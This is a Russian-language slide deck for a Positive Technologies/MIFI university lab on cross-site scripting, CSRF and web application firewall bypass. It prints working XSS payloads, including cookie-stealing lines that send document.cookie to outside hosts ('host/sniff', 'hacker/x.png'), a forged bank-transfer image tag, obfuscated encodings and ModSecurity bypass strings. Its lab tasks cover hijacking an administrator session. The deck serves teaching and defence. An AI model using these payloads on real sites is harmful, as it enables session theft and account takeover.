43
Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive Technologies

PT MIFI Labxss

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: PT MIFI Labxss

Лабораторная работа по теме «Межсайтовое выполнение сценариев»

Дмитрий Евтеев

Positive Technologies

Page 2: PT MIFI Labxss

План лабораторной работы

Введение в тему безопасности Web-приложений

Уязвимость типа «Межсайтовое выполнение

сценариев»

Межсайтовое выполнение сценариев в Java/Flash-

приложениях

Обход фильтров безопасности и Web Application

Firewall (WAF)

Резюме

Page 3: PT MIFI Labxss

Введение в тему безопасности Web-приложений…

Page 4: PT MIFI Labxss

Опасный мир Web-приложений

По данным компании Positive Technologies за 2009 год

• 79% сайтов содержат критические уязвимости

• 58% сайтов содержат уязвимости средней степени риска

• 54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента

http://ptsecurity.ru/analytics.asp

Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».

Page 5: PT MIFI Labxss

Распределение вероятности обнаружения уязвимостей по степени риска (данные за 2009 год)

http://ptsecurity.ru/analytics.asp

Page 6: PT MIFI Labxss

Классификация уязвимостей в web-приложениях

Web Application Security Consortium WASC-TCv2 / OWASP Top 10

CWE/SANS Top 25 Most Dangerous Programming Errors 2010

Threat Classification References Mapping Proposal

http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal

http://projects.webappsec.org/Threat-Classificationhttp://www.owasp.org/index.php/Category:OWASP_Top_Ten_Projecthttp://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf

Page 7: PT MIFI Labxss

Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»

Опасный мир Web-приложений: статистика за 2009 г.

Page 8: PT MIFI Labxss

Часть 1: Межсайтовое выполнение сценариев

Уязвимость типа «Межсайтовое выполнение сценариев» (Cross-site Scripting, XSS)

Page 9: PT MIFI Labxss

Cross-Site Scripting – Базовые знания

"Межсайтовое выполнение сценариев"

Уязвимость Cross-Site Scripting (XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.

Page 10: PT MIFI Labxss

"Межсайтовое выполнение сценариев" может использоваться для:

• Подмены содержимого сайта (content spoofing, fishing)

• Получения доступа к данным в контексте уязвимого сайта

(например, к содержимому document.cookie)

• Проведения атак на компоненты среды клиента (браузер,

ActiveX, Adobe, etc.)

• Распространения вредоносного

кода (ajax-worms)

Cross-Site Scripting – Базовые знания

Page 11: PT MIFI Labxss

Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»

Web-серверhttp://web/?search=WhatIsWebSecurity

...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value="What Is Web Security"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...

Page 12: PT MIFI Labxss

Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»

Web-серверhttp://web/?search="><script>alert('XSS')</script>

...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...

Page 13: PT MIFI Labxss

Cross-Site Scripting – Базовые знания

Условно Cross-Site Scripting (XSS) делят на следующие типы:

• Сохраненный вариант (persistent/stored)• Отраженный вариант (non-persistent/reflected)

Cross-Site Scripting обычно можно встретить:• В HTML-теге• В теле JavaScript/VBScript/etc (eq DOM-based)• В коде-HTML• В параметре тега-HTML• В Java/Flash приложениях• В ActiveX• …

Cross-Site Scripting – это уязвимость на стороне клиента (client side)

• Microsoft Internet Explorer 8 XSS filter• Mozilla NoScript Firefox extension

Page 14: PT MIFI Labxss

Cross-Site Scripting – Классическая эксплуатация

Возможный метод обнаружения уязвимости

/?id="><script>alert(1)</script>

• HTML-код возвращаемой страницы примет вид

В параметре тега …<font size=""><script>alert(1)</script>"…

В тексте …<p>"><script>alert(1)</script></p>…

• В результате браузер выполнит JavaScript-код

Пример практического использования:

"><script src=http://host/script.js></script>

Page 15: PT MIFI Labxss

Cross-Site Scripting – Классическая эксплуатация

Пример (1) – по событию

Уязвимый HTML-код:…<IMG SRC="$filename">…

Эксплуатация:/?filename="onerror=alert('XSS');"/?filename="onerror=javascript:alert('XSS');"…

HTML-код возвращаемой страницы примет вид:…<IMG SRC=""onerror=alert('XSS');"">…

Пример практического использования:

/?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(document.cookie);"

Page 16: PT MIFI Labxss

Cross-Site Scripting – Различия браузеров

http://projects.webappsec.org/Script-Mapping

Page 17: PT MIFI Labxss

Cross-Site Scripting – Классическая эксплуатация

Пример (2) – DOM-based

Уязвимый код:...<select><script>document.write("<OPTION value=1>"+document.location.href.substring

(document.location.href.indexOf("default=")+8)+"</OPTION>");document.write("<OPTION value=2>English</OPTION>");</script></select>...

Штатная работа сценария:/?default=Russia/?default=French…

Эксплуатация:/?default=<script>alert(document.cookie)</script>

Page 18: PT MIFI Labxss

Cross-Site Scripting – Безопасность Cookie

Атрибуты Cookie

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]

[; expires=<date>][; domain=<domain_name>]

[; path=<some_path>][; secure][; HTTPOnly]

Page 19: PT MIFI Labxss

Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев»

Web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search="><script>...</script>

3. Переход по ссылке

4. Выполнение исполняемогокода в браузере пользователя

5. Например, передача Web-сессии (cookies)

6. Работа с Web-приложением от имени атакованного пользователя

Page 20: PT MIFI Labxss

Практическое занятие (1)

http://192.168.0.51:80/

• Найти уязвимость типа «Межсайтовое

выполнение сценариев».

• Создать сниффер для записи полезных

данных.

• Осуществить перехват сессии администратора приложения.

• Авторизоваться под учетной записью администратора приложения.

Page 21: PT MIFI Labxss

Часть 2: Межсайтовое выполнение сценариев в Java/Flash

Межсайтовое выполнение сценариев в Java/Flash-приложениях

Page 22: PT MIFI Labxss

XSS && CSRF – Базовые знания

Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF)

• Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)

• В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях

• Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением

Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению

Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.)

Зачастую применяется связка XSS + CSRF

Page 23: PT MIFI Labxss

Наглядный пример атаки с использованием уязвимости типа«Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

3. Браузер загружает картинку по адресу:http://ibanking/action?...

4. Если сессия пользователя существует, то…

Page 24: PT MIFI Labxss

document.domain = "example.com"; (!)

Методы обхода - Anti DNS Pinning, уязвимости реализации

Ограничения политики доступа (Same origin policy)

URL Результат Причины

http://www.example.com/dir/page.html Разрешено Одинаковый протокол и узел

http://www.example.com/dir2/other.html Разрешено Одинаковый протокол и узел

http://www.example.com:81/dir2/other.html ЗапрещеноОдинаковый протокол и узел, но

различающийся порт

https://www.example.com/dir2/other.html Запрещено Различающиеся протоколы

http://en.example.com/dir2/other.html Запрещено Различающиеся узлы

http://example.com/dir2/other.html ЗапрещеноРазличающиеся узлы (необходимы точные

соответствия)

http://v2.www.example.com/dir2/other.html ЗапрещеноРазличающиеся узлы (необходимы точные

соответствия)

Page 25: PT MIFI Labxss

Для безопасности используются изолированные зоны безопасности (Sandbox security model)

Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml»

<cross-domain-policy>

<allow-access-from domain="*"/>

</cross-domain-policy>

Или вызов соответствующей функции

System.security.loadPolicyFile ("http://site/crossdomain.xml");

Cross-Site Scripting (Java/Flash) – Базовые знания

Page 26: PT MIFI Labxss

Потенциально небезопасные функции ActionScript:loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load() LoadVars.send() LoadVars.sendAndLoad() MovieClip.getURL() MovieClip.loadMovie() NetConnection.connect() NetServices.createGatewayConnection() NetSteam.play() Sound.loadSound() XML.load() XML.send() XML.sendAndLoad()

Cross-Site Scripting (Java/Flash) – Базовые знания

Page 27: PT MIFI Labxss

Пример уязвимого кода на языке JAVA

Cross-Site Scripting (Java/Flash) – Базовые знания

Page 28: PT MIFI Labxss

Практическое занятие (2)

http://192.168.0.51:81/

• Найти уязвимость типа «Межсайтовое

выполнение сценариев».

• Воспользоваться AJAX-сценарием

http://192.168.0.51:8085/act.js

для автоматизированной эксплуатации уязвимости «Межсайтовое

выполнение сценариев».

• Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с

автоматическим созданием нового пользователя в тестовом приложении.

• Авторизоваться под учетной записью созданного пользователя.

Page 29: PT MIFI Labxss

Часть 3: Обход фильтров безопасности и WAF

Обход фильтров безопасности и WAF

Page 30: PT MIFI Labxss

Что такое WAF

http://server/?id=6329&print=Y

Нас атакуют!

Ахтунг!!!

WAF Webserverhttp://server/?id=5351

http://server/?id=8234

http://server/?id="><script>...

http://server/?id=1+union+select...

http://server/?id=/../../../etc/passwd

Нормализация данныхDecode HTML entities (e.g. &#99;, &quot;, &#xAA;)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...

Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...

Page 31: PT MIFI Labxss

Какие они бывают

По режиму работы:

• Мост/Маршрутизатор

• Обратный прокси-сервер

• Встроенный

По модели защиты:

• Основанный на сигнатуре (Signature-based)

• Основанный на правилах (Rule-based)

По реакции на «плохой» запрос:

• Очистка «опасных» данных

• Блокировка запроса

• Блокировка источника атаки

Page 32: PT MIFI Labxss

Методы обхода WAF

Фундаментальные ограничения технологии

• Неспособность полностью защитить Web-приложение от всех возможных уязвимостей

Общие проблемы

• Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика

• Обработка возвращаемого трафика клиенту

Уязвимости реализации

• Технологии нормализации запроса

• Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)

Page 33: PT MIFI Labxss

Общие проблемы

• Сохраненный вариант XSSВ случае если удалось «протащить» XSS через фильтр, WAF не

сможет воспрепятствовать реализации атаки

• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//

• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie

Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)

Методы обхода WAF – Cross-Site Scripting

Page 34: PT MIFI Labxss

Методы обхода WAF: Возможные способы кодирования JavaScript

Пример: <script>alert(1)</script>

Hex-кодирование (URL-представление)

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

HTML-кодирование

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

UTF7

+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-

… UTF8, base64, escape-encoding (style), etc

Page 35: PT MIFI Labxss

Методы обхода WAF: Возможные способы кодирования JavaScript

Пример с BlackHat USA09:

<script>

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

</script>

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;

Page 36: PT MIFI Labxss

Методы обхода WAF: Возможные способы кодирования JavaScript

http://utf-8.jp/public/jjencode.html

Page 37: PT MIFI Labxss

Практика обхода WAF: Cross-Site Scripting

Обход правил фильтрации на примере ModSecurity:

1;alert/*skip*/('XSS');

<img src="x:alert" onerror="eval(src%2b'(0)')">

";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');"

...

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

Page 38: PT MIFI Labxss

Практическое занятие (3)

http://192.168.0.51:82/

• Найти уязвимость типа «Межсайтовое

выполнение сценариев».

• Воспользоваться техникой обхода WAF.

• Осуществить перехват сессии администратора приложения.

• Восстановить используемый пароль администратора приложения по

перехваченному хеш-значению md5 используемого пароля.

• Авторизоваться под учетной записью администратора приложения.

Page 39: PT MIFI Labxss

Резюме лабораторной работы

Page 40: PT MIFI Labxss

Межсайтовое выполнение сценариев часто встречается на широко известных и крупных Интернет-ресурсах

Cross-Site Scripting в «живой природе»

Page 41: PT MIFI Labxss

Резюме

Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений

Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны

Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде

Защита Web-приложений, также как и информационная безопасность в целом должна быть комплексной :)

Page 42: PT MIFI Labxss

Дополнительные материалы и ссылки

Web Application Security Consortium (WASC)

http://projects.webappsec.org/Cross-Site+Scripting

http://projects.webappsec.org/Script-Mapping

Open Web Application Security Project (OWASP)

http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

ha.ckers XSS (Cross Site Scripting) Cheat Sheet

http://ha.ckers.org/xss.html

Jjencode

http://utf-8.jp/public/jjencode.html

Page 43: PT MIFI Labxss

Спасибо за внимание!

[email protected]

http://devteev.blogspot.com/http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/